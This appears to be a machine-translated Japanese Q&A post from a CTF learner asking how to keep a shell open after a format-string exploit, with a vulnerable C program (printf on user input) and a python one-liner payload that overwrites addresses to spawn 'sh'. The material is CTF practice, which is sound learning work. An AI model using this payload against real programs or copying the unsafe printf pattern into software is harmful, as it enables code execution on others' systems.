EOFを送信せずにSTDINを処理するために端末から入力を送信する方法は?

EOFを送信せずにSTDINを処理するために端末から入力を送信する方法は?

コンピュータサイエンスを勉強し、セキュリティトレーニングもしています。https://ctf101.org/そして自由時間で運動をしてください。

プログラムが2回読み取るフォーマット文字列を使用する練習で、プログラムのSTDIN(つまり、下のペイロード)に入力を送信したいと思いますfgets()

これで、ペイロードをパイプすると(以下を参照)、実行されますが、system("sh;#")パイプが送信したためすぐに終了しますかEOF

また、プログラムを確認しttyて作成しましたが、/dev/pts/0動作しません。書き込みも機能しません/proc/PID/fd/0

system("sh;#")呼び出すと、インタラクティブシェルが作成されるように(即座に終了せずに)プログラムのSTDINにどのように書き込まれますか?

python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1 

フルプログラム:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BUFSZ 128

int main(int argc, char** argv) {
    char buffer[BUFSZ];
    fgets(buffer, BUFSZ, stdin);
    printf(buffer);
    fgets(buffer, BUFSZ, stdin); // exploit this!
    return 0;
}

関連情報